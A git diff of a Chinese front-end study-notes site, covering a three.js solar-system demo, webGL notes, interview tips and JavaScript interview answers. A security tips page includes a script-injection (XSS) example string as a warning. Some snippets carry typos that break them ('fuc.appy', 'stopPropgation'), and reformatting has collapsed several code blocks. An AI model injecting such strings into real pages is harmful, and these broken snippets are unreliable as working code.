})
const init = () => {
}
return (
<canvas ref={ref} id="earth" />
)
}

View File

@ -0,0 +1,142 @@
import React, { useRef, useEffect } from 'react';
import * as THREE from 'three';
import { GUI } from 'three/addons/libs/lil-gui.module.min.js';
import { resizeRendererToDisplaySize, addControls } from '../utils'
class AxisGridHelper {
axes: any;
grid: any;
_visible: any;
constructor( node, units = 10 ) {
const axes = new THREE.AxesHelper();
axes.material.depthTest = false;
axes.renderOrder = 2; // after the grid
node.add( axes );
const grid = new THREE.GridHelper( units, units );
grid.material.depthTest = false;
grid.renderOrder = 1;
node.add( grid );
this.grid = grid;
this.axes = axes;
this.visible = false;
}
get visible() {
return this._visible;
}
set visible( v ) {
this._visible = v;
this.grid.visible = v;
this.axes.visible = v;
}
}
export default () => {
const ref = useRef(null)
useEffect(() => {
ref.current && init(ref.current)
})
const init = (dom: any) => {
const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera(40, 2, 0.1, 1000)
camera.position.set(0, 50, 0)
camera.up.set(0, 0, 1)
camera.lookAt(0, 0, 0)
const gui = new GUI();
{
const light = new THREE.PointLight(0xffffff, 500)
scene.add(light)
}
// 创建球体实例
const radius = 1
const widthSegments = 6
const heightSegments = 6
const sphereGeometry = new THREE.SphereGeometry(radius, widthSegments, heightSegments)
const objects = []
const solarSystem = new THREE.Object3D()
scene.add(solarSystem)
objects.push(solarSystem)
// 太阳
const sunMaterial = new THREE.MeshPhongMaterial({ emissive: 0xffff00 })
const sunMesh = new THREE.Mesh(sphereGeometry, sunMaterial)
sunMesh.scale.set(5, 5, 5)
solarSystem.add(sunMesh)
objects.push(sunMesh)
// 地球
const earthOrbit = new THREE.Object3D()
earthOrbit.position.x = 10;
solarSystem.add(earthOrbit)
objects.push(earthOrbit)
const earthMaterial = new THREE.MeshPhongMaterial({
color: 0x2233ff,
emissive: 0x112244,
})
const earthMesh = new THREE.Mesh(sphereGeometry, earthMaterial)
earthOrbit.add(earthMesh)
objects.push(earthMesh)
// 月球
const moonOrbit = new THREE.Object3D()
moonOrbit.position.x = 2
earthOrbit.add(moonOrbit)
const moonMaterial = new THREE.MeshPhongMaterial({
color: 0x888888,
emissive: 0x222222
})
const moonMesh = new THREE.Mesh(sphereGeometry, moonMaterial)
moonMesh.scale.set(.5, .5, .5);
moonOrbit.add(moonMesh)
objects.push(moonMesh)
// 渲染器
const renderer = new THREE.WebGLRenderer({ antialias: true, canvas: dom });
// 集体旋转
function makeAxisGrid(node, label, units) {
const helper = new AxisGridHelper( node, units );
gui.add(helper, 'visible').name(label);
}
makeAxisGrid(solarSystem, 'solarSystem', 25);
makeAxisGrid(sunMesh, 'sunMesh');
makeAxisGrid(earthOrbit, 'earthOrbit');
makeAxisGrid(earthMesh, 'earthMesh');
makeAxisGrid(moonOrbit, 'moonOrbit');
makeAxisGrid(moonMesh, 'moonMesh');
addControls(camera, renderer);
function render(time) {
time *= 0.001
if (resizeRendererToDisplaySize(renderer)) {
const canvas = renderer.domElement;
camera.aspect = canvas.clientWidth / canvas.clientHeight;
camera.updateProjectionMatrix();
}
objects.forEach((obj) => {
obj.rotation.y = time
})
renderer.setAnimationLoop(render)
renderer.render(scene, camera)
}
renderer.setAnimationLoop(render)
}
return (
<canvas ref={ref} id="earth" style={{ width: '100%', height: '500px'}} />
)
}

View File

@ -4,46 +4,72 @@ nav:
path: /fea
group:
title: 💊 webGL
order: 9
path: /webGL
order: 1
path: /webgl
---
# 💊 webGL
# 基础
## 介绍
:::info{title=记录日志}
本文档从 2023 年 10 月 20 开始,主要用来记录 threejs 的学习过程和踩坑记录,方便复盘与总结。
:::
### 基本对象
一个基本的 3D 场景需要包括的以下几个必备要素:
- 场景scence
- 相机camera
- 相机创建实例图THREE.PerspectiveCamera(fovy, aspect, zNear, zFar)
- 相机camera实例 THREE.PerspectiveCamera(fov, aspect, zNear, zFar)
- 渲染器renderer
### 绘制方法
- 网孔Meshes推荐
- 多边形Polygons
- 顶点Vertices
基本的场景搭建好了,现在我们需要在这个场景中放置我们想要的对象,一般我们想要的基本几何体可以通过以下方式创建:
- Geomety几何体常用
- Materials材质
- Mesh网格对象
大致思路为:创建一个几何体,给几何体附加材质,组合之后加入场景中,如下所示
```js
const geometry = new THREE.BoxGeometry(1, 1, 1);
const material = new THREE.MeshBasicMaterial({ color: 0xffff00 });
const mesh = new THREE.Mesh(geometry, material);
scene.add(mesh);
```
### 其它
- 材料Materials
如果想要让场景更加精美,我们需要添加更多的参数来达到想要的效果
- 纹理Textures
- 光照Lights
- 变换Transforms
- 矩阵Matrices
- 相机Cameras
- 视角Perspective
- 视窗Viewports
- 着色器shader
- 着色器Shader
- 群组Group
### pixi
## 社区
### pixiJS
一款基于 webGL 的 2d 渲染引擎,用来写一些 bit 游戏还是挺好用的。
参考的文档有以下:
### threeJs
目前比较热门的基于 webgl 的框架,缺点是每个版本之间的接口差异较大,所以使用的时候需要根据版本来找对应的接口文档
本文会更多的以 threejs 为基础框架来展开深入构建一个 3Dweb 世界
## 参考文档
1. [pixi 中文](http://pixijs.huashengweilai.com/guide/start/9.make-sprite-from-texture-atlas.html#%E9%80%9A%E8%BF%87%E7%BA%B9%E7%90%86%E8%B4%B4%E5%9B%BE%E9%9B%86%E5%88%9B%E5%BB%BA%E7%B2%BE%E7%81%B5)
2. [PIXI API 大全](https://pixijs.download/release/docs/index.html)
3. [bit 贴图大全](https://opengameart.org/)
4. [threeJs](https://techbrood.com/threejs/examples/#webgl_shadowmap_pointlight)
5. [puxiao 的教程](https://github.com/puxiao/threejs-tutorial)
6. [threeJs 官方教程](https://threejs.org/manual/#zh/fundamentals)

19
docs/fea/webgl/threeJS.md Normal file
View File

@ -0,0 +1,19 @@
---
nav:
title: 前端
path: /fea
group:
title: 💊 webGL
order: 3
path: /webgl
---
# threeJS 入门
## 创建基础元素
<!-- <code src="./demo/base.tsx" ></code> -->
## 创建一个地球的场景
<code src="./demo/earth.tsx" ></code>

View File

@ -0,0 +1,18 @@
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
export const resizeRendererToDisplaySize = (renderer) => {
const canvas = renderer.domElement;
const pixelRatio = window.devicePixelRatio;
const width = canvas.clientWidth * pixelRatio | 0;
const height = canvas.clientHeight * pixelRatio | 0;
const needResize = canvas.width !== width || canvas.height !== height;
if (needResize) {
renderer.setSize(width, height, false);
}
return needResize;
}
export const addControls = (camera: any, renderer: any) => {
const controls = new OrbitControls( camera, renderer.domElement );
controls.autoRotate = true
}

View File

@ -8,7 +8,7 @@ group:
path: /website
---
## 💊 学习文档
# 💊 学习文档
### TS 学习

View File

@ -1,20 +1,19 @@
---
title: Nice Note
hero:
title: Nice Note
desc: 💊 Dev's 笔记
description: dev 的博客
actions:
- text: 开始学习
link: /fea/website
features:
- icon: http://jzx-h5.oss-cn-hangzhou.aliyuncs.com/logo.png
title: NiceCode
desc: <a href="https://nicecoders.github.io">前端工具合集</a>
footer: Open-source MIT Licensed | Copyright © 2019<br />Powered by Dev
- emoji: 🍍
title: nicecode
description: <a href="https://nicecoders.github.io">前端工具合集</a>
---
嗨,我是 dev这是我用来记录我的职业生涯总结的各种乱七八糟的知识点希望能对你有帮助
这里记录了我所有工作中和非工作中的思考和总结
## 更新日志
思维比较发散,想到哪写到哪
<embed src="../CHANGELOG.md"></embed>

View File

@ -0,0 +1,12 @@
---
nav:
title: 面试
path: /interview
group:
title: 💊 面试题库
order: 2
---
# 算法题
参考链接:<https://github.com/trekhleb/javascript-algorithms/blob/master/README.zh-CN.md>

View File

@ -18,19 +18,14 @@ group:
举个例子:
--------------------------------
面试官好我叫dev18年毕业于东华理工大学软件工程从大四开始就一直从事前端开发的工作
> 面试官好,我叫 XX18 年毕业于 XXX 大学软件工程,从大四开始就一直从事前端开发的工作
> 我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉,自己有从 0-1 大型项目的经验和能力,包括前端项目的自动构建脚本编写,项目服务器发布,基本的 node 接口服务开发。服务器 Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
> 在上家公司是 XXXX 的项目负责人,主要职责是负责从 0-1 视频编辑器的开发和后期维护,还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统,目的是为了高效对接后端接口质量(自动化测试)和解放手动编写接口的工作(通过后端 swagger 文档自动生成包含 ts 注释的接口),其它还负责公司的 UI 组件库的部分开发
> 除了开发相关的工作,还有一定的作为 Owner 的项目管理经验比如需求评审UI\UX 交互评审,负责小组项目排期,成员之间的协作开发,监督成员之间的 codeReview敏捷开发推动项目进度等。
> 另外我有自己的博客,主要是用来记录在工作中的一些心得,和碰到的问题和解决方案。同时去记录一些学到的新的知识,并把它分享到 sf、csdn、juejin 这类的技术平台上。
> 在 github 上....做这件事的原因是,我感觉开源还挺有成就感也挺有趣的
我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉自己有从0-1大型项目的经验和能力包括前端项目的自动构建脚本编写项目服务器发布基本的node接口服务开发。服务器Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
在上家公司是人工智能创意中心视频编辑器的项目负责人主要职责是负责从0-1视频编辑器的开发和后期维护还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统目的是为了高效对接后端接口质量自动化测试和解放手动编写接口的工作通过后端swagger文档自动生成包含ts注释的接口其它还负责公司的UI组件库的部分开发
除了开发相关的工作还有一定的作为Owner的项目管理经验比如需求评审UI\UX交互评审负责小组项目排期成员之间的协作开发监督成员之间的codeReview敏捷开发推动项目进度等。
另外我有自己的博客主要是用来记录在工作中的一些心得和碰到的问题和解决方案。同时去记录一些学到的新的知识早期也发过一些文章再segmentfault和掘金上。
在 github 上我还成立了一个自己的组织叫nicecode主要是用来沉淀一些这些年工作中整合的一些能提升工作效率的方案比如说脚手架、git提交校验工具、敏感字过滤库常见函数方法、还有开发过一款基于 vscode 的代码片段插件。前前后后写了10几个npm包了做这件事的原因是我感觉开源还挺有成就感也挺有趣的
--------------------------------
> 目前在学习...
## 如何粗略判断公司是否靠谱
@ -46,6 +41,12 @@ group:
很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。
## 你最近碰到什么挑战?
**我最近的一个时间在做怎样的一个产品程序这个产品程序的目的是帮助用户完成什么事其中有一个什么模块为了实现什么功能用到了什么技术但是遇到了什么挑战难点bug我通过怎样的手段定位问题所在问题出现的原因是简要的点到技术点的描述我在至少两个资料来源上找到了参考最后基于怎样的决策标准决定采用何种解决方法运用了哪种技术最后成功解决了问题实现了功能结果是这个产品程序对用户系统性能可用性资源等产生了何种正面的影响。下一步我认为我应该研究何种更先进的方式进一步怎样让产品程序做得更好。**
之前将视频编辑器从 1.0 迁移到 2.0,目的是引用 vue3 和抛弃之前的遗留问题,比如说依赖包的杂糅和重,当时在考虑做视频编辑器的架构,是想直接写成个大组件,通过 props 参数来控制编辑器的功能,后面从性能和易用性来考虑,觉得还是将整体插件化更好,所以将整体架构改成可插拔式。在开发的过程中又发现关于数据传递板块如果通过传统的 props 或者是 vuex 的形式传递,使用起来会非常不方便,所以将它改成发布订阅模式来调用,将整体的数据放在一个 protocol 空间中,再通过各个控制面板的调用去触发,反馈到视频渲染层的监听器与其它对应插件的监听器上。最后实际应用中确实使用起来非常丝滑。这个编辑器的整体架构也使性能上提升了很多。
### 常见问题答复
1. 你什么时候入职?
@ -64,9 +65,10 @@ group:
4. 为什么你觉得可以胜任这份工作?
从三个角度去展开:
* 工作经历、项目背景与当前岗位的匹配度
* 个人能力模型的匹配度
* 突出过往的工作中取得的成绩,竞争力优势
- 工作经历、项目背景与当前岗位的匹配度
- 个人能力模型的匹配度
- 突出过往的工作中取得的成绩,竞争力优势
5. 你的期望薪资是多少?
@ -92,3 +94,5 @@ group:
## 话术技巧参考
<https://juejin.cn/post/7173316141161381924>
<https://juejin.cn/post/6844903869382656008>
<https://vue3js.cn/interview/>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

View File

@ -38,7 +38,6 @@ group:
### 数组方法 pop() push() unshift() shift()
- push() 尾部添加 pop() 尾部删除
- unshift() 头部添加 shift() 头部删除
@ -51,16 +50,21 @@ get: 1. 参数在链接上。2、url链接长度有限制所以大小有限
```
### call 和 apply 的区别
### bind、call 和 apply 的区别
call可以允许多个参数入参而apply只允许一个参数
共同点:都是为了改变 this 的指向而存在
- object.call(this, obj1,obj2,obj3)
- object.apply(this, argument)
不同点:
- call 可以接受多个参数object.call(this, obj1,obj2,obj3)
- bind 可以接受多个参数object.bind(this, obj1,obj2,obj3)
- apply 接受两个参数,一个是指向的对象,一个是需要传递的参数 object.apply(this, ${Array})
- call 和 apply 改变上下文 this 指向后,立刻执行该函数,而 bind 不执行
使用场景:如果参数数量不确定就用 apply确定就用 call.
### ajax 请求时,如何解析 json 数据
- 使用 eval parse介于安全性考虑 使用 parse 更靠谱
- eval 可以解析任何字符串parse 只解析 json 格式的字符串
@ -71,48 +75,44 @@ call可以允许多个参数入参而apply只允许一个参数
- obj.replaceChild()
- obj.removeChild()
### javascript 同源策略
- 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合
### 编写一个 b 继承 a 的方法
```javascript
function A(name) {
this.name = name;
this.sayHello = function () {
alert(this.name+ "say hello!")
}
alert(this.name + 'say hello!');
};
}
function B(name, id) {
this.temp = A
this.temp(name)
delete this.temp
this.id = id
this.checkId = function(ID) {alert(this.id == ID)}
this.temp = A;
this.temp(name);
delete this.temp;
this.id = id;
this.checkId = function (ID) {
alert(this.id == ID);
};
}
```
### 如何阻止事件冒泡和默认事件
```javascript
function stopBubble(e) {
if (e && e.stopPropagation) {
e.stopPropgation ()
e.stopPropgation();
} else {
window.event.cancelBubble = true
window.event.cancelBubble = true;
}
return false
return false;
}
```
### 谈谈 this 对象的理解
- this 只在调用的时候发生指向确认它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。
@ -124,12 +124,12 @@ function stopBubble(e) {
```js
class Test {
constructor() {
console.log(this)
console.log(this);
}
}
export default () => {
let demo = new Test()
}
let demo = new Test();
};
```
### `location.replace()`与`location.assign()`区别
@ -138,78 +138,41 @@ export default () => {
location.replace() 的 url 不会出现在 history 中
```
### DOM 操作
```html
// 创建节点
createDocumentFragment()
createElement()
createTextNode()
// 添加 移除 替换 插入
appendChild()
removeChild()
replaceChild()
insertBefore()
// 查找
getElementsByTagName()
getElementsByName()
getElementsByClassName()
getElementById()
querySelector()
querySelectorAll()
// 创建节点 createDocumentFragment() createElement() createTextNode() // 添加
移除 替换 插入 appendChild() removeChild() replaceChild() insertBefore() // 查找
getElementsByTagName() getElementsByName() getElementsByClassName()
getElementById() querySelector() querySelectorAll()
```
### JS 设置 css 样式的几种方式
```html
/* 1.直接设置style属性 */
element.style.height = '100px';
/* 2.直接设置属性 */
element.setAttribute('height', '100px');
/* 3.使用setAttribute设置style属性 */
element.setAttribute('style', 'height: 100px !important');
/* 4.使用setProperty设置属性通过第三个参数设置important */
element.style.setProperty('height', '300px', 'important');
/* 5.设置cssText */
/* 1.直接设置style属性 */ element.style.height = '100px'; /* 2.直接设置属性 */
element.setAttribute('height', '100px'); /* 3.使用setAttribute设置style属性 */
element.setAttribute('style', 'height: 100px !important'); /*
4.使用setProperty设置属性通过第三个参数设置important */
element.style.setProperty('height', '300px', 'important'); /* 5.设置cssText */
element.style.cssText += 'height: 100px !important';
```
### 阻止默认行为
```html
function stopDefault( e ) {
// 阻止默认浏览器动作(W3C)
if ( e && e.preventDefault ) {
e.preventDefault();
} else {
// IE中阻止函数器默认动作的方式
window.event.returnValue = false;
}
return false;
}
function stopDefault( e ) { // 阻止默认浏览器动作(W3C) if ( e &&
e.preventDefault ) { e.preventDefault(); } else { //
IE中阻止函数器默认动作的方式 window.event.returnValue = false; } return false; }
```
### 阻止冒泡
```html
function stopBubble(e) {
// 如果提供了事件对象则这是一个非IE浏览器
if ( e && e.stopPropagation ) {
// 因此它支持W3C的stopPropagation()方法
e.stopPropagation();
} else {
// 否则我们需要使用IE的方式来取消事件冒泡
window.event.cancelBubble = true;
}
}
function stopBubble(e) { // 如果提供了事件对象则这是一个非IE浏览器 if ( e &&
e.stopPropagation ) { // 因此它支持W3C的stopPropagation()方法
e.stopPropagation(); } else { // 否则我们需要使用IE的方式来取消事件冒泡
window.event.cancelBubble = true; } }
```
### Ajax 交互过程
@ -217,9 +180,7 @@ function stopBubble(e) {
```html
创建XMLHttpRequest对象,也就是创建一个异步调用对象.
创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息.
设置响应HTTP请求状态变化的函数.
发送HTTP请求.
获取异步调用返回的数据.
设置响应HTTP请求状态变化的函数. 发送HTTP请求. 获取异步调用返回的数据.
使用JavaScript和DOM实现局部刷新.
```
@ -228,24 +189,11 @@ function stopBubble(e) {
[https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html)
```html
function Foo() {
getName = function () { alert(1); }
return this;
}
Foo.getName = function () { alert(2); }
Foo.prototype.getName = function () { alert(3); }
var getName = function () { alert(4); }
function getName () { alert(5); }
/* 写出输出 */
Foo.getName(); 3
getName(); 5
Foo().getName(); 3
getName();
new Foo.getName();
new Foo().getName();
new new Foo().getName();
function Foo() { getName = function () { alert(1); } return this; } Foo.getName
= function () { alert(2); } Foo.prototype.getName = function () { alert(3); }
var getName = function () { alert(4); } function getName () { alert(5); } /*
写出输出 */ Foo.getName(); 3 getName(); 5 Foo().getName(); 3 getName(); new
Foo.getName(); new Foo().getName(); new new Foo().getName();
```
### splice 和 slice 你能说说有啥用和区别吗
@ -258,8 +206,8 @@ new new Foo().getName();
1. 类数组不具备数组的方法slice、splice、filter
2. 类数组是一个普通对象,数组类型是 Array
### JS 数组深浅拷贝
#### 浅拷贝
把一个对象的第一层拷贝到新的对象上去,只拷贝基本数据类型
@ -272,8 +220,8 @@ var new_arr = arr.slice();
new_arr[0] = 'new';
console.log(arr) // ["old", 1, true, null, undefined]
console.log(new_arr) // ["new", 1, true, null, undefined]
console.log(arr); // ["old", 1, true, null, undefined]
console.log(new_arr); // ["new", 1, true, null, undefined]
// concat 实现
var arr = ['old', 1, true, null, undefined];
@ -282,8 +230,8 @@ var new_arr = arr.concat();
new_arr[0] = 'new';
console.log(arr) // ["old", 1, true, null, undefined]
console.log(new_arr) // ["new", 1, true, null, undefined]
console.log(arr); // ["old", 1, true, null, undefined]
console.log(new_arr); // ["new", 1, true, null, undefined]
```
#### 深拷贝
@ -299,22 +247,23 @@ var new_arr = JSON.parse(JSON.stringify(arr));
new_arr[0] = 'new';
new_arr[3][0] = 'new1';
console.log(arr) // ["old", 1, true, ['old1', 'old2'], {old: 1}]
console.log(new_arr) // ["new", 1, true, ['new1', 'old2'], {old: 1}]
console.log(arr); // ["old", 1, true, ['old1', 'old2'], {old: 1}]
console.log(new_arr); // ["new", 1, true, ['new1', 'old2'], {old: 1}]
// 复杂版,可以完美拷贝
var deepCopy = function (obj) {
if (typeof obj !== 'object') {
return
return;
}
var newObj = obj instanceof Array ? [] : {};
for (var key in obj) {
if (obj.hasOwnProperty(key)) {
newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
newObj[key] =
typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
}
}
return newObj
}
return newObj;
};
```
### 数组去重
@ -324,15 +273,18 @@ var deepCopy = function (obj) {
function unique(arr) {
var res = arr.filter(function (item, index, array) {
return array.indexOf(item) === index;
})
});
return res;
}
//filter + sort
function unique(arr) {
return arr.concat().sort().filter(function (item, index, array) {
return arr
.concat()
.sort()
.filter(function (item, index, array) {
return !index || item !== array[index - 1];
})
});
}
// ES6
@ -340,14 +292,17 @@ function uniqu3 (arr) {
return [...new Set(arr)];
}
```
###
### 找出数组中的最大值
```javascript
// reduce
var arr = [6, 4, 1, 8, 2, 11, 3];
function max(prev, next) {
return Math.max(prev, next)
return Math.max(prev, next);
}
console.log(arr.reduce(max));
@ -367,47 +322,53 @@ function max (arr) {
console.log(max(arr));
```
### 数组扁平化
```javascript
var arr = [1, [2, [3, 4]]];
function flatten(arr) {
while (arr.some(item => Array.isArray(item))) {
while (arr.some((item) => Array.isArray(item))) {
arr = [].concat(...arr);
}
return arr;
}
console.log(flatten(arr))
console.log(flatten(arr));
```
### 数据的基本类型
```javascript
1. symbol 2. string 3. number 4. null 5. boolean 6. undefind
```
### 数据类型判断
> 关键语句Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }]
```javascript
var class2type = {};
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'.split(' ').map((item, index) => {
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'
.split(' ')
.map((item, index) => {
class2type['[object ' + item + ']'] = item.toLowerCase();
})
});
function type(obj) {
return typeof obj === 'object' || typeof obj === 'function' ?
class2type[{}.toString.call(obj)] || 'object' : typeof obj;
return typeof obj === 'object' || typeof obj === 'function'
? class2type[{}.toString.call(obj)] || 'object'
: typeof obj;
}
```
### 防抖
原理:创建一个闭包,然后通过调用创建好的函数和入参去执行
应用场景是为了防止用户误触,而产生多次事件的触发,根本就是为了节省性能消耗
```javascript
/*
* func需要调用的函数
@ -441,6 +402,24 @@ var debounce = function (func, wait, immediate) {
}
```
## 节流
使用场景:把动作中的持续调用设置为固定时间内的调用,比如滚动事件,鼠标移入移出。
```js
const throttle = (fuc, delay) => {
let time = null;
return function () {
const currentTime = new Date();
if (currentTime - time > delay) {
fuc.appy(this, arguments);
time = currentTime;
}
};
};
```
### 四则运算符
@ -454,16 +433,12 @@ var debounce = function (func, wait, immediate) {
![image.png](./img/this.png)
### ===== 有什么区别
== 对比类型不一样会进行类型转换,而 === 不会,下图为 == 的判断步骤:
![image.png](./img/equal.png)
### 什么是闭包?
定义:函数 A 中有一个函数 B函数 B 可以访问 A 的变量,那么函数 B 就是闭包。
@ -471,6 +446,7 @@ var debounce = function (func, wait, immediate) {
- 闭包就是引用其他函数内部变量的函数
1. 循环中使用闭包解决 `var` 定义函数的问题
```javascript
方法1
for (var i = 1; i <= 5; i++) {
@ -532,9 +508,9 @@ const useCount = () = {
```js
const fn = (cb: (name: string) => void) => {
let name = 'nicecode'
cb(name)
}
let name = 'nicecode';
cb(name);
};
```
### 如何理解原型?如何理解原型链?
@ -543,9 +519,9 @@ const fn = (cb: (name: string) => void) => {
当读取实例的属性获取不到时,如果找不到,就会查找与对象关联的原型中的属性,还找不到就会去找原型的原型,一直到顶层,这样的一层层的关系嵌套称为**原型链**
1. 每一个对象都有**__proto__**这是浏览器早期为了让我们能访问 prototype。
2. _ _proto__ 的 constructor构造函数里面有 prototype。
3. _ _proto__ 下面有几个方法hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
1. 每一个对象都有****proto****这是浏览器早期为了让我们能访问 prototype。
2. \_ \_proto\_\_  的 constructor构造函数里面有 prototype。
3. \_ \_proto\_\_  下面有几个方法hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
4. 原型的  `constructor`  属性指向构造函数,构造函数又通过  `prototype`  属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()`  就没有这个属性。
![image.png](./img/prototype.png)
@ -557,24 +533,34 @@ promise 的出现是为了解决回调地狱callback hell它的其他AP
1. all处理所有 promise 事件回调的合集)
```js
let p1 = new Promise(function(resolve, reject) { resolve('ok1') })
let p2 = new Promise(function(resolve, reject) { resolve('ok2') })
let p3 = Promise.reject('err')
let p1 = new Promise(function (resolve, reject) {
resolve('ok1');
});
let p2 = new Promise(function (resolve, reject) {
resolve('ok2');
});
let p3 = Promise.reject('err');
let res = Promise.all([p1,p2]).then(res => console.log(res))
let res = Promise.all([p1, p2]).then((res) => console.log(res));
// ['ok1', 'ok2']
let res2 = Promise.all([p1,p2,p3]).then(res => console.log(res)).catch(err => console.error(err))
let res2 = Promise.all([p1, p2, p3])
.then((res) => console.log(res))
.catch((err) => console.error(err));
// err
```
2. race获取最快的返回结果
```js
let p1 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok1'), 500) })
let p2 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok2'), 1500) })
let p1 = new Promise(function (resolve, reject) {
setTimeout(() => resolve('ok1'), 500);
});
let p2 = new Promise(function (resolve, reject) {
setTimeout(() => resolve('ok2'), 1500);
});
let res = Promise.race([p1,p2]).then(res => console.log(res)) // ok1
let res = Promise.race([p1, p2]).then((res) => console.log(res)); // ok1
```
3. allSettled忽视 reject
@ -590,7 +576,6 @@ const PENDING = 'PENDING'; // 处理中
const FULFILLED = 'FULFILLED'; // 已完成
const REJECTED = 'REJECTED'; // 已拒绝
class Prom {
constructor(executor) {
// 默认状态为 PENDING
@ -602,61 +587,58 @@ class Prom {
let resolve = (val) => {
if (this.status === PENDING) {
this.status = FULFILLED
this.value = val
}
this.status = FULFILLED;
this.value = val;
}
};
let reject = (err) => {
if (this.status === PENDING) {
this.status = REJECTED
this.error = err
}
this.status = REJECTED;
this.error = err;
}
};
try {
// 立即执行,将 resolve 和 reject 函数传给使用者
executor(resolve, reject)
executor(resolve, reject);
} catch (error) {
// 发生异常时执行失败逻辑
reject(error)
reject(error);
}
}
then(onFulfilled, onReject) {
if (this.status === FULFILLED) {
onFulfilled(this.value)
onFulfilled(this.value);
}
if (this.status === REJECTED) {
onReject(this.reason)
onReject(this.reason);
}
}
}
export default () => {
const [text, setText] = useState(PENDING)
const [text, setText] = useState(PENDING);
useEffect(() => {
const promise = new Prom((resolve, reject) => {
resolve('成功');
}).then(
(data) => {
setText(data)
console.log('手写promise', data)
setText(data);
console.log('手写promise', data);
},
(err) => {
setText(err)
console.log('faild', err)
}
)
}, [])
return (
<div>{text}</div>
)
}
setText(err);
console.log('faild', err);
},
);
}, []);
return <div>{text}</div>;
};
```
## async 和 await
@ -666,6 +648,7 @@ export default() => {
## 柯里化
特点:
1. 组合函数:可以将函数的逻辑简单化,并且达到更细粒度的代码拆分和复用
2. 延迟执行:可以延迟执行最后一个参数执行的时间,在期间做一些其他逻辑的执行,剩余的到后面再决定
3. 简单化函数:将参数从多参数拆为单参数,让接口简洁,更容易使用
@ -676,28 +659,65 @@ import React, { useEffect } from 'react';
function curry(a: number) {
return function (b: number) {
return function (offset: number) {
return a + b + offset
}
}
return a + b + offset;
};
};
}
export default () => {
curry(1)(2)(3)
curry(1)(2)(3);
return (
<div>柯里化函数</div>
)
}
return <div>柯里化函数</div>;
};
```
## event loop
## event loop 事件循环机制
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为执行栈,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为 **执行栈**,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
宏任务大概有setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作UI 渲染
微任务则有promise.then()、promise.catch()、new MutationObserver、process.nextTick()
```js
// 抽现转具象的描述事件循环
{
tasks: [
{
script: '主代码块',
},
{
script: 'innter的click回调函数',
microtasks: [
{
script: 'Promise',
},
{
script: 'MutationObserver',
},
],
},
{
script: 'outer的click回调函数',
microtasks: [
{
script: 'Promise',
},
{
script: 'MutationObserver',
},
],
},
{
script: 'setTimeout',
},
{
script: 'setInterval',
},
];
}
```
## 堆、栈的区别
1. 基本数据类型一般内存小,放在栈中;引用数据类型一般内存大,放在堆中
@ -708,7 +728,9 @@ js 执行的过程中,会创建对应的执行上下文放入栈中,我们
执行 js 的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法
新生代的空间换时间 scavenge 算法是1. 执行的过程中将空间分为 From 和 To 两块2. 判断是否满足存活条件存活的将变量复制到另一个空间3. 不存活的直接清理。4. 将From 和 To 空间交换,如此循环往复
新生代的空间换时间 scavenge 算法是1. 执行的过程中将空间分为 From 和 To 两块2. 判断是否满足存活条件存活的将变量复制到另一个空间3. 不存活的直接清理。4. 将 From 和 To 空间交换,如此循环往复。
另外就是新生代的内存为 8M 左右,属于一个短期生命变量储存的区域,如果在执行新生代算法标记的过程中,发现某个变量多次出现,就会移交到老生代垃圾回收算法区
老生代的标记清除和整理,运行的时候将活跃的变量标记,并进行整理到内存的一端,移除那些不活跃的空间进行释放回收

View File

@ -18,11 +18,11 @@ eval 的作用是将用户输入的字符串转化为可执行的代码,类似
严格模式下的变量 **重复声明** 等操作会抛出一些隐藏的错误。
```javascript
'use strict'
'use strict';
var obj = {
a: '1',
a: '2'
}
a: '2',
};
// 抛出错误 syntax error
```
@ -52,30 +52,23 @@ child_process.exec('ls', function (err, data) {
## 7. 临时文件
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
> 使用 Streams。
## 8. 加密 Web 应用
用 https 代替 http请求的过程可以添加签名头。
## 9. Reflected Cross Site Scripting
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM这可能会出现安全问题例如
```javascript
//用户输入的数据中带脚本,如果不做处理,会被执行。
Im human <script>alert('Im hacker')<script>
```
> 处理方式1. 对插入的数据进行验证,除去 HTML。
## 10. 看好你的 cookie
@ -107,6 +100,50 @@ Content-Security-Policy: default-src 'self' *.mydomain.com
9. code splitting 按需加载页面的某个模块,提升页面加载速度
10. 使用 placeholder 和 lazy-load 提升页面性能
